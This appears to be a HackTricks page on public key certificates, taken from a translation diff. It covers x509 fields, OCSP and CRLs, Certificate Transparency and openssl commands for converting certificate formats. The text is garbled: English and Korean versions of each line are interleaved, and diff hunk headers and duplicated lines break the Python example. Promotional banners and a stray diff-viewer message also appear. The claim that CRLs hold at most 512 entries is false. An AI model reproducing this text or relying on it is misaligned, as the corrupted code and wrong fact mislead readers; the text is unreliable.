{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## What is a Certificate
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
A **public key certificate**는 암호학에서 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용되는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다.
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
인증서는 주로 [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs)에서 [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) 설정에서 발급됩니다. 또 다른 방법은 [web of trust](https://en.wikipedia.org/wiki/Web_of_trust)로, 사용자가 서로의 키를 직접 검증하는 방식입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 대로 특정 요구에 맞게 조정될 수 있습니다.
## x509 Common Fields
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
x509 인증서에서 여러 **필드**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 다음은 이러한 필드의 분류입니다:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
- **Version Number**는 x509 형식의 버전을 나타냅니다.
- **Serial Number**는 인증서를 인증 기관(CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다.
- **Subject** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 자세한 식별 정보가 포함됩니다:
- **Common Name (CN)**: 인증서가 적용되는 도메인.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, 및 **Organizational Unit (OU)**는 지리적 및 조직적 세부정보를 제공합니다.
- **Distinguished Name (DN)**는 전체 주체 식별을 캡슐화합니다.
- **Issuer**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
- **Validity Period**는 **Not Before** 및 **Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다.
- **Public Key** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다.
- **x509v3 extensions**는 인증서의 기능을 향상시키며, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** 및 기타 속성을 지정하여 인증서의 적용을 세밀하게 조정합니다.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
- **Key Usage**는 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다.
- **Extended Key Usage**는 인증서의 사용 사례를 더욱 좁히며, 예를 들어 TLS 서버 인증을 위한 것입니다.
- **Subject Alternative Name** 및 **Basic Constraint**는 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔터티 인증서인지를 정의합니다.
- **Subject Key Identifier** 및 **Authority Key Identifier**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
- **Authority Information Access** 및 **CRL Distribution Points**는 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다.
- **CT Precertificate SCTs**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **OCSP와 CRL 배포 지점의 차이**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)에서 확인할 수 있습니다.
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **인증서 투명성이란 무엇인가**
### **What is Certificate Transparency**
인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 보이도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- 도메인 소유자의 지식 없이 CA가 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다.
- 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다.
- 사용자들을 사기성 인증서로부터 보호합니다.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **인증서 로그**
#### **Certificate Logs**
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **쿼리**
#### **Query**
어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요.
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **형식**
## **Formats**
### **PEM 형식**
### **PEM Format**
- 인증서에 가장 널리 사용되는 형식입니다.
- 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다.
- 일반적인 확장자: .cer, .crt, .pem, .key.
- 주로 Apache 및 유사한 서버에서 사용됩니다.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER 형식**
### **DER Format**
- 인증서의 이진 형식입니다.
- PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다.
- 일반적인 확장자: .cer, .der.
- 종종 Java 플랫폼과 함께 사용됩니다.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 형식**
### **P7B/PKCS#7 Format**
- Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
- 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다.
- Microsoft Windows 및 Java Tomcat에서 지원됩니다.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 형식**
### **PFX/P12/PKCS#12 Format**
- 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
- 확장자: .pfx, .p12.
- 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **형식 변환**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
**PEM 변환**은 호환성을 위해 필수적입니다:
- **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM을 DER로**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM을 P7B로**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7를 PEM으로**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX에서 PEM으로**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX to PKCS#8**는 두 단계로 이루어집니다:
1. PFX를 PEM으로 변환합니다.
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. PEM을 PKCS8로 변환하기
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B to PFX** 또한 두 개의 명령이 필요합니다:
1. P7B를 CER로 변환합니다.
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. CER 및 개인 키를 PFX로 변환하기
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More